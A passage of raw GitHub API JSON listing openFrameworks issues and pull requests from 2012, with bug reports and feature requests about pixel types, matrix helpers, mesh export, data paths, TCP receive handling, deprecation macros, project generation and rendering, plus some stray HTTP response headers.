ofVideoPlayer","labels":[],"closed_at":null,"created_at":"2012-05-15T17:50:22Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"damiannz","id":144366},"id":4588997,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1260.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1260","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1260.patch"}},{"updated_at":"2012-05-21T07:31:47Z","body":"This was originally posted @\"biginners\".\n\nhttp://forum.openframeworks.cc/index.php/topic,9527.msg44049.html#msg44049\n\nJoshua noble suggested me to file it as a bug on jithub\n\n\n/////////////////original messages\n\nHello.\n\nI have question about ofShortPixels and ofShortColor.\n\nIf you execute the code below , it'll draw at half way screen height even though I did set aDot at (0. screen height / 4)\n\nAnd another weird thing is it draws 20 pixels instead of 10 pixels which I set for loop for 10 times.\n\nIt only draws correctly with ofPixels and ofColor.\n\nIt doesn't work with ofFloatPixels and ofFloatColor.\n\nPlease help me out.\n\nI need to have RGB value over 255 so I can check if those values are over 255.\n\nThanks in advanced\n\nJin\n\n\n.h file\nCode:\nview plaincopy to clipboardprint?\n\n #pragma once \n #include \"ofMain.h\" \n \n class Dot { \n public: \n ofVec2f location; \n \n Dot(){ \n location.set(0,0); \n } \n \n ~Dot(){} \n }; \n \n class testApp : public ofBaseApp{ \n public: \n void setup(); \n void update(); \n void draw(); \n \n int w,h; \n \n ofTexture particleTexture; \n ofShortPixels * rgbPixels; \n \n ofShortColor& paint(ofShortColor &); \n \n Dot aDot; \n \n \n }; \n\n\n.cpp file\nCode:\nview plaincopy to clipboardprint?\n\n #include \"testApp.h\" \n //-------------------------------------------------------------- \n void testApp::setup(){ \n ofSetFrameRate(30); \n ofSetBackgroundAuto(TRUE); \n ofBackground(0, 0, 0); \n w = ofGetWidth(); \n h = ofGetHeight(); \n \n particleTexture.allocate(w,h,GL_RGB); \n rgbPixels = new ofShortPixels; \n rgbPixels->allocate(w, h, 3); \n aDot.location.set(0, h/4); \n } \n \n //-------------------------------------------------------------- \n void testApp::update(){ \n ofShortColor pixelColor; \n ofShortColor newPixelColor; \n for(int i = 0; i<10; i++){ \n pixelColor = rgbPixels->getColor(aDot.location.x+i, aDot.location.y); \n \n newPixelColor = paint(pixelColor); \n \n rgbPixels->setColor(aDot.location.x+i, aDot.location.y,newPixelColor); \n \n } \n particleTexture.loadData(* rgbPixels); \n } \n \n //-------------------------------------------------------------- \n void testApp::draw(){ \n particleTexture.draw(0, 0, w, h); \n } \n \n ofShortColor & testApp::paint(ofShortColor & _c){ \n \n _c.r += 10; \n _c.g += 2; \n _c.b += 3; \n \n _c.set(_c.r, _c.g, _c.b); \n _c.clamp(); \n \n return _c; \n } ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1257","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1257,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1257","assignee":null,"title":"ofShortPixels doesn't draw pixels correctly","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-14T05:46:14Z","state":"open","user":{"url":"https://api.github.com/users/gazaebal","gravatar_id":"f9d7811bb6318fedf7e9f2fe8bfece32","avatar_url":"https://secure.gravatar.com/avatar/f9d7811bb6318fedf7e9f2fe8bfece32?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"gazaebal","id":1736190},"id":4557803,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-17T21:42:08Z","body":"if i'm not mistaken, the correct way of using ofMatrix4x4 in oF is `glMultMatrixf(myMatrix.getPtr())` or `glLoadMatrixf`.\nThis seems a bit uncomfortable for me.\n\nsome candidates are:\n\n```c++\nofPushMatrix(const ofMatrix4x4 &); //needs alternatives as you might not want to push at the time\nofLoadMatrix(const ofMatrix4x4 &);\nofMultMatrix(const ofMatrix4x4 &);\n\nofMatrix4x4::apply();\nofMatrix4x4::glLoadMatrix(matrixMode = OF_MATRIX_MODE_CURRENT);\n```\n\n\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1256","comments":5,"milestone":null,"number":1256,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1256","assignee":null,"title":"Feature ofPushMatrix(const ofMatrix4x4 &)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-13T18:20:29Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":4554058,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-11T21:24:20Z","body":"\tunsigned char faceSize = 3;\n\tif(data.getNumIndices()){\n\t\tos << \"element face \" << data.getNumIndices() / faceSize << endl;\n\t\tos << \"property list uchar int vertex_indices\" << endl;\n\t} else if(data.getMode() == OF_PRIMITIVE_TRIANGLES) {\n\t\tos << \"element face \" << data.getNumVertices() / faceSize << endl;\n\t\tos << \"property list uchar int vertex_indices\" << endl;\n\t}\n\nThe facesize is being set as static as 3, but this results in strange exports...things open OK in Meshlab, but exporting to other programs with no faces seems like it won't work","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1252","comments":6,"milestone":null,"number":1252,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1252","assignee":null,"title":"0071 ply (mesh.save()) Point export is broken","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-11T19:45:53Z","state":"open","user":{"url":"https://api.github.com/users/laserpilot","gravatar_id":"07001341fe6c156dddd5b9d06d828cba","avatar_url":"https://secure.gravatar.com/avatar/07001341fe6c156dddd5b9d06d828cba?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"laserpilot","id":1041023},"id":4539985,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-16T09:33:31Z","body":"couple of minor bugfixes (absolute path wasn't being detected on second if [absolute] for windows paths)\r\nfixes unixy paths no matter what on windows","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1251","comments":8,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1251,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1251","assignee":null,"title":"Bugfix of to data path","labels":[],"closed_at":null,"created_at":"2012-05-10T06:44:20Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":4507572,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1251.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1251","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1251.patch"}},{"updated_at":"2012-05-16T09:43:23Z","body":":(\r\n\r\nIt seems i'm getting double 'data/' in my paths\r\nafter a little tracking down, i found this is because ofSystemLoadDialog changes the current working directory\r\n\r\nso we could try and either fix that by popping the folder after the dialog, \r\nof for windows using something like ```GetModuleFileName``` to get the path of the current exe rather than using the current working directory\r\n\r\nI can't seem to run GetModuleFileName from ofUtils.cpp even though windows.h is included in ofConstants.h (included in ofUtils.h)\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1250","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1250,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1250","assignee":null,"title":"bug: ofToDataPath broken again","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-05-10T06:35:24Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":4507492,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-16T09:42:44Z","body":"'ofx TCPClient :: receiveRaw' was found in the proble.\n\nOriginal :\n\n\tint ofxTCPClient::receiveRawBytes(char * receiveBuffer, int numBytes){\n\t\t\t messageSize = TCPClient.Receive(receiveBuffer, numBytes);\t\n\t\t\t if(messageSize==0){\t\t\n\t\t\t\t\t\tclose();\t\n\t\t\t }\t\n\t\t\t return messageSize;\n\t}\n\nBut 'TCPClient.Receive (receiveBuffer, numBytes)' from '-1' may return\n\nI was modified\n\n\tstring ofxTCPClient::receiveRaw(){\n\t\t\t messageSize = TCPClient.Receive(tmpBuff, TCP_MAX_MSG_SIZE);\n\t\t\t if(messageSize==0){\n\t\t\t\t\t\tclose();\n\t\t\t }\n\t\t\t //TCPClient.Receive is return -1....\n\t\t\t else if(messageSize < 0){ \n\t\t\t\t\t\ttmpBuff[0] = 0;\n\t\t\t }\n\t\t\t else if(messageSize; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"8c30dcf27290220465cd1ecce8fa943a"'), ('date', 'Tue, 29 May 2012 19:36:58 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-04-30T19:43:55Z","body":"On 'update', PG should respect existing custom include paths, source files, linker flags and project options (such as optimization settings).\r\n\r\nOR\r\n\r\nXcode project should read and respect `OTHER_LDFLAGS` and `HEADER_SEARCH_PATHS`, and add `OTHER_CFLAGS` from Project.xcconfig; projectGenerator should leave these settings alone unless it figures out they need to be adjusted (this is probably going to be difficult).","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1217","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1217,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1217","assignee":null,"title":"projectGenerator update doesn't respect existing project settings","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-04-24T21:03:44Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"id":4269431,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-02T10:19:07Z","body":"Since I don't want to derail #484 further, this issue deals with the implementation of a deprecation mechanism.\r\nBased on [this](http://stackoverflow.com/questions/295120/c-mark-as-deprecated), I made an OFDEPRECATED preproc macro.\r\n\r\nQUESTION: How do I correctly #ifdef for MacOS/XCode4/llvm?\r\n\r\nCould people test this on different platforms? On linux this works. \r\n\r\n\t\ttestApp.h:\r\n\r\n\t\t#pragma once\r\n\r\n\t\t#ifdef __GNUC__\r\n\t\t// maybe __clang__ for checking against llvm/xcode4?\r\n\t\t#define OFDEPRECATED(message, func) func __attribute__ ((deprecated(message)))\r\n\t\t#elif defined(_MSC_VER)\r\n\t\t#define OFDEPRECATED(message, func) __declspec(deprecated(message)) func\r\n\t\t#else\r\n\t\t#pragma message(\"WARNING: You need to implement DEPRECATED for this compiler\")\r\n\t\t#define OFDEPRECATED(message, func) func\r\n\t\t#endif\r\n\r\n\t\tand \r\n\r\n\t\t\t\tvoid dragEvent(ofDragInfo dragInfo);\r\n\t\t\t\tvoid gotMessage(ofMessage msg);\r\n\t\t\r\n\t\t\t\tOFDEPRECATED(\"This is an old function, don't use!\", void deprecatedFunction(void));\r\n\t\t\t\tOFDEPRECATED(\"Obsolete type, use T2!\", typedef int T1);\r\n\t\t\t\ttypedef int T2;\r\n\t\t\t\tOFDEPRECATED(\"This is an old variable, don't use!\", int oldvar3);\r\n\t\t\t\t//This breaks a bit cause it's used in the constructor of testApp, so always triggers.\r\n\r\n\t\t};\r\n\t\tOFDEPRECATED(\"old class!\", class oldClass {\r\n\t\t\tpublic:\r\n\t\t\t\toldClass();\r\n\t\t\t\tvirtual ~oldClass();\r\n\t\t});\r\n\r\n\t\ttestApp.cpp:\r\n\r\n\t\tvoid testApp::setup(){\r\n\t\t\tOFDEPRECATED(\"old string. Don't use\", string oldstring);\r\n\t\t\t// Uncomment these to trigger deprecation warnings\r\n\t\t//\tdeprecatedFunction();\r\n\t\t//\tT1 t1object = 5;\r\n\t\t//\toldstring = \"bla\";\r\n\t\t//\toldvar3=5;\r\n\t\t//\toldClass bla;\r\n\t\t}\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1216","comments":11,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1216,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1216","assignee":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"title":"Implement deprecation mechanism","labels":[],"closed_at":null,"created_at":"2012-04-24T21:03:39Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":4269429,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-04-30T19:43:14Z","body":"When using PG's 'update' functionality on apps are in paths with non-standard depths (in my case, `oF/apps/dir/subdir/subsubdir`) the OF_PATH and #include directives in the resulting Project.xcconfig don't match, which means oF projects won't compile:\r\n\r\n~~~~\r\n//THE PATH TO THE ROOT OF OUR OF PATH RELATIVE TO THIS PROJECT.\r\n//THIS NEEDS TO BE DEFINED BEFORE CoreOF.xcconfig IS INCLUDED\r\nOF_PATH = ../../../..\r\n\r\n//THIS HAS ALL THE HEADER AND LIBS FOR OF CORE\r\n#include \"../../../../../libs/openFrameworksCompiled/project/osx/CoreOF.xcconfig\"\r\n~~~~\r\n\r\nNote extra `../` in the `#include` path.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1215","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1215,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1215","assignee":null,"title":"projectGenerator sets incorrect path in Project.xcconfig","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-04-24T20:59:57Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"id":4269359,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-04-22T23:56:33Z","body":"i'm teaching a workshop right now and i feel like it's ridiculous that i need to explain pointers just to access video :)\r\n\r\nlet's add this!","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1202","comments":3,"milestone":null,"number":1202,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1202","assignee":null,"title":"ofVideoPlayer etc needs ofColor access","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-04-22T18:42:58Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":4231092,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-29T17:34:24Z","body":"DO NOT PULL YET!\r\n\r\nHey all\r\n\r\nHere's the 'off-axis camera' setup we worked on at ScreenLab last weekend.\r\nIt allows you to:\r\n\r\n* Set lens offset on a camera\r\n* Calculate the camera parameters based on a 'view portal' defined by 3 points (top left, bottom left, bottom right)\r\n\r\nCurrently the changes involve editing ofBaseRenderer (and therefore all other renderers) to support lensOffset parameter (default 0,0). We could remove this since ofCamera doesn't actually use ofSetupScreenPerspective\r\n\r\nSo let's have a quick chat about what needs chaning to make this core friendly and then probably pull after 0071 release?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1201","comments":9,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1201,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1201","assignee":null,"title":"Feature provocation pull request: ofCamera lens offset","labels":[],"closed_at":null,"created_at":"2012-04-22T15:55:29Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":4230131,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1201","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1201.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1201.diff"}},{"updated_at":"2012-05-14T01:22:17Z","body":"I'm investigating the way to draw bezier curves / nurbs etc. with shaders, here is a list a links and information I found that can improve render times with OF. Any way I must admit I'm new to openGL & shaders so maybe someone can take this to implement maybe an add-on or maybe to added to the core.\r\n\r\n**Resolution Independent Curve Rendering using Programmable Graphics Hardware**\r\nhttp://research.microsoft.com/en-us/um/people/cloop/loopblinn05.pdf\r\n\r\n**Resolution independent GPU accelerated Curve & Font rendering**\r\n**GPU based Resolution Independent Font & Curve Rendering – initial Release**\r\nhttp://jausoft.com/blog/2011/04/01/resolution-independent-gpu-accelerated-curve-font-rendering/\r\nhttp://ramisantina.com/blog/?p=73\r\nhttp://vimeo.com/21810192\r\nhttp://jogamp.org/doc/gpunurbs2011/p70-santina.pdf\r\n\r\n**Curvy blues**\r\nhttp://www.mdk.org.pl/2007/10/27/curvy-blues\r\n\r\n**Vector drawing: OpenGL shaders and cairo & vector hardware tessellation**\r\nhttp://www.mdk.org.pl/2007/8/6/vector-drawing-opengl-shaders-and-cairo\r\n\r\n**ShivaVG & Random Access Rendering of Animated Vector Graphics**\r\nhttp://ivanleben.blogspot.com.es/2007/07/shivavg-open-source-ansi-c-openvg.html\r\nhttp://www.youtube.com/watch?v=mD8X-e5-sY4\r\nhttp://www.youtube.com/watch?v=U4USCfwORUg\r\nhttp://andrejas-atelier.com/ivan/IvanLebenHonsThesis.pdf\r\n\r\n**RAVG**\r\nhttp://research.microsoft.com/en-us/um/people/hoppe/proj/ravg/\r\n\r\n**NV Path Rendering Videos (seams only with nvidia)**\r\nhttp://developer.nvidia.com/nv-path-rendering-videos\r\n\r\n**Vector drawing: OpenGL polygon tessellation**\r\nhttp://www.mdk.org.pl/2007/8/16/vector-drawing-opengl-polygon-tessellation\r\nhttp://zrusin.blogspot.com.es/2006/07/hardware-accelerated-polygon-rendering.html\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1190","comments":8,"milestone":null,"number":1190,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1190","assignee":null,"title":"Bezier Shaders & Vector openGL rendering","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-2D","name":"section-2D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-04-20T09:23:00Z","state":"open","user":{"url":"https://api.github.com/users/microbians","avatar_url":"https://secure.gravatar.com/avatar/98c91e60903b83c0a022ee70cca9ca21?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"98c91e60903b83c0a022ee70cca9ca21","login":"microbians","id":1662136},"id":4207350,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-16T09:41:20Z","body":"ofSetCurveResolution is not changing the resolution using ofBezier nor ofBezierVertex (tested with ofScale is more easy to see the bug)\r\n\r\n ofFill();\r\n ofSetHexColor(0xFF9933);\r\n ofBeginShape();\r\n ofVertex(x0,y0);\r\n ofBezierVertex(x1,y1,x2,y2,x3,y3);\r\n ofEndShape();\r\n\r\nall works fine when using ofPath directly:\r\n\r\n ofPath curve;\r\n curve.setFillHexColor(0xFF000);\r\n curve.setCurveResolution(120);\r\n curve.moveTo(x0, y0);\r\n curve.bezierTo(x1,y1,x2,y2,x3,y3);\r\n curve.draw();\r\n\r\nmore: http://forum.openframeworks.cc/index.php/topic,9596.0.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1189","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1189,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1189","assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"title":"ofSetCurveResolution + ofBezierVertex bug","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-04-20T08:51:51Z","state":"open","user":{"url":"https://api.github.com/users/microbians","avatar_url":"https://secure.gravatar.com/avatar/98c91e60903b83c0a022ee70cca9ca21?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"98c91e60903b83c0a022ee70cca9ca21","login":"microbians","id":1662136},"id":4206982,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-01T04:10:23Z","body":"If you set up an ofFbo as follows...\r\n\r\n```cpp\r\n ofFbo::Settings s;\r\n s.width = 400;\r\n s.height = 400;\r\n s.textureTarget = GL_TEXTURE_2D;\r\n s.useDepth = true;\r\n s.depthAsTexture = true;\r\n s.dethInternalFormat = GL_DEPTH_COMPONENT24;\r\n```\r\n\r\n...then the colour texture's dimensions are set to be the next POTs up but the depth texture's dimensions don't seem to be. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1186","comments":2,"milestone":null,"number":1186,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1186","assignee":null,"title":"ofFbo depthBufferTex can be inconsistent with colour 